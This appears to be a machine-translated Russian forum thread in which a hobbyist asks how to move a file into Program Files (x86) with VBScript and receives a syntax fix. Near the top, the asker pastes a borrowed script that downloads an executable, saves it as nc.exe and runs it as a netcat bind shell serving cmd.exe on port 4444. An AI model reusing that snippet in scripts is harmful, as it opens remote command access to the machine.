Команда перемещения в месте назначения VBScript - это файл программы (x86) "изменена для загрузки в (x86) - PullRequest
0 голосов
/ 04 июля 2018

Пожалуйста, держите все ответы. Просто что-то нашел.

dim http_obj
dim stream_obj
dim shell_obj

set http_obj = CreateObject("Microsoft.XMLHTTP")
set stream_obj = CreateObject("ADODB.Stream")
set shell_obj = CreateObject("WScript.Shell")

URL = "http://www.mikemurr.com/example.exe" 'Where to download the file from
FILENAME = "nc.exe" 'Name to save the file (on the local system)
RUNCMD = "nc.exe -L -p 4444 -e cmd.exe" 'Command to run after downloading

http_obj.open "GET", URL, False
http_obj.send

stream_obj.type = 1
stream_obj.open
stream_obj.write http_obj.responseBody
stream_obj.savetofile FILENAME, 2

shell_obj.run RUNCMD

Таким образом, мои многочисленные строки VBS и строки, которые он будет открывать (или нет) по пути, в настоящее время имеют VBS, который открывает URL-адрес для загрузки чего-либо с инструкциями о том, где сохранить, и, после этого, перемещается из папки загрузки в программы (x86), но похоже, что я нашел кое-что, что загрузит файл для (x86) для меня. Я посмотрю, что нужно для загрузки в специальную папку.

Я знаю, что моя следующая борьба будет заставлять VBS ждать.

В дос

start/wait drive:\path\file.exe

ожидает завершения установки, прежде чем перейти к следующему заданию.

Set WshShell = WScript.CreateObject("Wscript.Shell")
MsgBox "1:1"
Sub2
Sub3
Sub Sub2()
    WshShell.Run "cscript //nologo Sub2.vbs", 1, True
End Sub
Sub Sub3()
    WshShell.Run "cscript //nologo Sub3.vbs", 1, True
End Sub

Я создал много VBS-файлов для запуска в порядке, который я еще не проверял. Так что я не знаю, будет ли каждый ждать, пока программа не закончит установку, или мне нужно создать цикл, чтобы увидеть, работает ли exe-файл.

У меня есть папка "learning vbs" с примерами, которые можно изменить для сборки. Я расширяюсь по мере изучения и тестирования.


Я не могу переместить файл с рабочего стола в файл программы (X86) из-за ошибок

Set sh  = CreateObject("WScript.Shell")
desktop = sh.SpecialFolders("Desktop")
Program Files (x86) = sh.SpecialFolders("Program Files (x86)")

Set fso = CreateObject("Scripting.FileSystemObject")
source      = fso.BuildPath(desktop, "file to move")
     'not sure if I need to add extension
destination = fso.BuildPath("Program Files (x86)", "\path\sub folder")
fso.MoveFile source & "\*", destination & "\"

Ошибка несоответствия файлов

И если я удалю "" вокруг программных файлов (x86) для пункта назначения

Set sh  = CreateObject("WScript.Shell")
desktop = sh.SpecialFolders("Desktop")
Program Files (x86) = sh.SpecialFolders("Program Files (x86)")

Set fso = CreateObject("Scripting.FileSystemObject")
source      = fso.BuildPath(desktop, "file to move")
     'not sure if I need to add extension
destination = fso.BuildPath(Program Files (x86), "\path\sub folder")
fso.MoveFile source & "\*", destination & "\"

я получаю выброшенный) ошибка. Чего мне не хватает?

РЕДАКТИРОВАНИЕ: из ответа ниже

Как уже указывалось, Program Files (x86) = ... неверный синтаксис. Имена переменных не должны содержать пробелов, а круглые скобки допускаются только при объявлении переменных массива. Кроме того, в коллекции SpecialFolders нет члена «Program Files (x86)».

Вместо этого разверните соответствующую переменную среды:

Set sh  = CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")

src = fso.BuildPath(sh.SpecialFolders("Desktop"), "file to move")
dst = sh.ExpandEnvironmentStrings("%ProgramFiles(x86)%\path\sub folder")

fso.MoveFile src & "\*", dst & "\"

Также ваша команда пытается переместить содержимое папки «Файл для перемещения». Это намеренно? Если вы хотите переместить файл «file to move», вам нужно изменить последний оператор на fso.MoveFile src, dst & "\".

Also, your command tries to move the content of the folder "file to move"

МОЙ КОММЕНТАРИЙ:

Нет, «файл для перемещения» заменяется на «не уверен, стоит ли включать расширение» - это имя файла (т.е. myfile.extension), а не «папка» файла для перемещения. Папка "рабочий стол"

desktop = sh.SpecialFolders("Desktop")

и

source      = fso.BuildPath(desktop, "file to move")
         'not sure if I need to add extension

таким образом я ставлю

source      = fso.BuildPath(desktop, "file to move.extension")

Я не ищу, чтобы кто-то написал код для меня. Я пробовал% path%, который работает в dos (то есть% userprofile%) в VBS и раньше, и застрял, чтобы увидеть

dst = sh.ExpandEnvironmentStrings("%ProgramFiles(x86)%\path\sub folder")

заставил меня почесать голову. Даже с командой расширения.

Выполняю тестирование. Буду редактировать с обновлением. Простите за поздний ответ. Уик-энд проект хобби.

1 Ответ

0 голосов
/ 05 июля 2018

Как уже указывалось, Program Files (x86) = ... неверный синтаксис. Имена переменных не должны содержать пробелов, а круглые скобки допускаются только при объявлении переменных массива. Кроме того, коллекция SpecialFolders не имеет члена "Program Files (x86)".

Вместо этого разверните соответствующую переменную среды:

Set sh  = CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")

src = fso.BuildPath(sh.SpecialFolders("Desktop"), "file to move")
dst = sh.ExpandEnvironmentStrings("%ProgramFiles(x86)%\path\sub folder")

fso.MoveFile src & "\*", dst & "\"

Кроме того, ваша команда пытается переместить содержимое папки «файл для перемещения». Это намеренно? Если вы хотите переместить файл «файл для перемещения», вам придется изменить последний оператор на fso.MoveFile src, dst & "\".

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...